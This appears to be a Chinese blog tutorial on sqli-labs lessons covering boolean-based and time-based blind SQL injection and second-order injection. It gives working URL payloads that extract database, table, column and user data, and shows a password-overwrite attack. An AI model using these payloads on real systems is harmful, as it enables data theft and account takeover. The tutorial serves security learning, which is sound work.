深入浅出带你玩转sqlilabs(五)-布尔/延时盲注与二次注入
SQL测试-基于布尔,延时盲注
布尔,延时注入常用到的判断语句
regexp regexp '^xiaodi[a-z]' 匹配xiaodi及xiaodi...等 if if(条件,5,0) 条件成立 返回5 反之 返回0 sleep sleep(5) SQL语句延时执行5秒 mid mid(a,b,c)从位置 b 开始, 截取 a 字符串的 c 位 substr substr(a,b,c)从 b 位置开始, 截取字符串 a 的 c 长度 left left(database(),1),database()显示数据库名称, left(a,b)从左侧截取 a 的前 b 位 length length(database())=8,判断数据库database()名的长度 ord=ascii ascii(x)=101,判断x的ascii码是否等于101,即email中的字母e
例如判断之后用sleep执行延时功能:
可以看到成功延时5s
基于布尔盲注
0x01 获取数据库名操作Payload:
获取数据库名第一位值
?id=1' and left(database(),1)='s' %23 ?id=1' and left(database(),1)>'a' %23
获取数据库名第二位值
?id=1' and left(database(),2) > 'sa' %23 ?id=1' and left(database(),2) = 'se' %23
获取数据库名长度值
?id=1' and length(database())=8 %23
然后这个地方可以用字典跑
这个913与众不同,就他正确了
0x02 获取表名操作Payload:
获取第一个表名第一位的值
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 %23
获取第一个表名第二位的值
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=101 %23
获取第二个表名第一位的值
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=101 %23
第四个表名第五位的值
改为limit 3,1),5,1 还要改一下ascii码
http://localhost/sqlilabs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),5,1))=115 %23
来一次爆破表名
爆破模块介绍:https://blog.csdn.net/qq_39101049/article/details/90234669
ascii码范围:0-127
爆破模块选择:Cluster bomb(集束炸弹) 同pitchfork,起码两个参数,但此操作会计算两个的payload 的笛卡儿积。 比如pl1:1,2,3 pl2:4,5,6 那么第一次爆破为 1,4 第二次为1,5 以此类推 1,6 2,4 2,5.。。。。。。
结果,对号入座就行
0x03 获取列名操作Payload:
获取列名regexp 查询users表第一个列名是否有us...列名
?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^us[a-z]' limit 0,1)--+
0x04 获取数据操作Payload:
获取数据 security.users表中username列名的第一个第一位
?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+
基于延时盲注
0x01 获取数据库名操作Payload:
获取数据库名第一个第一位
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+
0x02 获取表名操作Payload:
获取列名第一个第一位
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=100,sleep(5),0)--+
后续参考:https://www.cnblogs.com/xishaonian/p/6113965.html
其他:SQL二次注入测试
案例测试:less-24 及实际举例
数据库更改密码的源码:
到修改密码页面,修改密码:
当没有检验当前密码是否输入正确时,可以修改任意已知账户名的密码
然后我们看回其他账户:
相当于执行命令
UPDATE users SET PASSWORD='hacked' where username='superman' #' and password='a'
应用范围:我们注册一个用户后,然后点击用户的图像类似进入了用户中心,
对应的URL地址:帐号 aaaaa
www.aaaaa.com/member.php?user=aaaaa
反过来想:如果我们在注册的时候将用户名改为:aaaaaa' union select 1,2,3--
总之:将注入语句让web写入到数据库中,web在调用数据库中的数据成为条件查询时,就触发了sql注入
原理:
深入浅出带你玩转sqlilabs(五)-布尔/延时盲注与二次注入的更多相关文章
- 深入浅出带你玩转sqlilabs(二)
MYSQL高权限注入 mysql跨库注入 详情请看上一篇:深入浅出带你玩转sqlilabs(一) mysql文件操作注入-sqlilabs less7 可能用到的函数: into outfile()函 ...
- 深入浅出带你玩转sqlilabs(一)
一.MySQL数据库结构分层 1.1库名,表名,列名,数据库用户等 Mysql数据库结构示例: 数据库A zblog = www.zblog.com 表名 列名(字段) 数据 数据库B dede = ...
- 深入浅出带你玩转sqlilabs(四)-updatexml(),floor(),extractvalue()报错注入
SQL各种参数类型下的注入测试 数字型-sqlilabs less2 前面文章已演示过 字符型-sqlilabs less1 前面文章已演示过 搜索型-自写测试 如: www.test.com/ind ...
- 深入浅出带你玩转sqlilabs(三)--GET,POST,COOKIE,万能密码注入
常见提交方式下的注入漏洞 WEB应用在数据传递接受中,针对SQL注入安全漏洞,由于数据大小,格式等原因,脚本在接受传递时会有多种传递方式,传递方式的不同将影响到安全测试的不同 第一点:数据常见提交方式 ...
- Sqli-LABS通关笔录-5[SQL布尔型盲注]
/* 请为原作者打个标记.出自:珍惜少年时 */ 通过该关卡的学习我掌握到了 1.如何灵活的运用mysql里的MID.ASCII.length.等函数 2.布尔型盲注的认识 3.哦,对了还有.程序 ...
- SQL注入汇总(手注,盲注,报错注入,宽字节,二次编码,http头部){10.22、23 第二十四 二十五天}
首先什么是SQL注入: 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. SQL注入有什么危害? 危害:数据泄露.脱库 ...
- 【Python】测试布尔型盲注脚本
sqli-labs第八关:单引号布尔型盲注,手工测出database长度,个人觉得手工比较快 然后使用脚本测database内容,这个脚本就比手工快多了,脚本内容如下: import sys impo ...
- sqli-labs lession 5 之盲注型SQL入门
本文作者:Mochazz 如果所查询的用户id在数据库中,可以发现页面显示”You are in”,而不像前4关那样会显示出具体的账号密码. 如果sql语句查询结果不存在,则不会显示”You are ...
- sqli-labs:5-6,盲注
思考1:当# --+都被过滤时,只能考虑闭合处理 思考2:union联合注入时必须先判断字段长度 eg. id=1' order by 3 and '1'='1 sqli5: 首先判断出对id经过了' ...
随机推荐
- LNMP配置——Nginx配置 ——域名重定向
一.配置 #vi /usr/local/nginx/conf/vhost/test.com.conf 写入: server { listen 80; server_name test.com test ...
- P1328_生活大爆炸版石头剪刀布(JAVA语言)
题目描述 石头剪刀布是常见的猜拳游戏:石头胜剪刀,剪刀胜布,布胜石头.如果两个人出拳一 样,则不分胜负.在<生活大爆炸>第二季第8集中出现了一种石头剪刀布的升级版游戏. 升级版游戏在传统的 ...
- switch case语句,switch case用法详解
switch 是"开关"的意思,它也是一种"选择"语句,但它的用法非常简单.switch 是多分支选择语句.说得通俗点,多分支就是多个 if. 从功能上说,sw ...
- 攻防世界 reverse parallel-comparator-200
parallel-comparator-200 school-ctf-winter-2015 https://github.com/ctfs/write-ups-2015/tree/master/sc ...
- 全面了解Vue3的 reactive 和相关函数
Vue3的 reactive 怎么用,原理是什么,官网上和reactive相关的那些函数又都是做什么用处的?这里会一一解答. ES6的Proxy Proxy 是 ES6 提供的一个可以拦截对象基础操作 ...
- DAOS 分布式异步对象存储|架构设计
分布式异步对象存储 (DAOS) 是一个开源的对象存储系统,专为大规模分布式非易失性内存 (NVM, Non-Volatile Memory) 设计,利用了SCM(Storage-Class Memo ...
- IT培训有哪些坑(一)?
IT行业资薪很高,每年都有很多同学冲着高薪去,去各个培训机构学习,期望将来能找个高薪的工作,有个好的出路.我们先不说你选多好,多靠谱的机构,我先来告诉大家有哪些不靠谱,不能选,选了就入坑了的. IT培 ...
- 【wp】2021MAR-DASCTF_逆向
昨天打完的MAR DASCTF,来复个盘~ 不过就re做了3/4然后有事提前开溜了hhh,拿了drinkSomeTea和replace的三血心满意足(蜜汁三血执念. 感觉这回的出题人好喜欢TEA啊(正 ...
- 清明|TcaplusDB持续为您保驾护航
清明将至,又到一年休闲踏青,祭拜祖先的时机. 清明假期期间,TcaplusDB不停歇,我们将一如既往地守护您的数据,继续做您最坚实的后盾. 在未来,TcaplusDB还将以国产键值型数据库领航者的身 ...
- Autofac 框架初识与应用
文字首发地址 一.前言 这上一篇中,主要讲述了什么是IoC容器,以及了解到它是DI构造函注入的框架,它管理着依赖项的生命周期以及映射关系,同时也介绍实践了在ASP.Net Core中,默认提供的内置I ...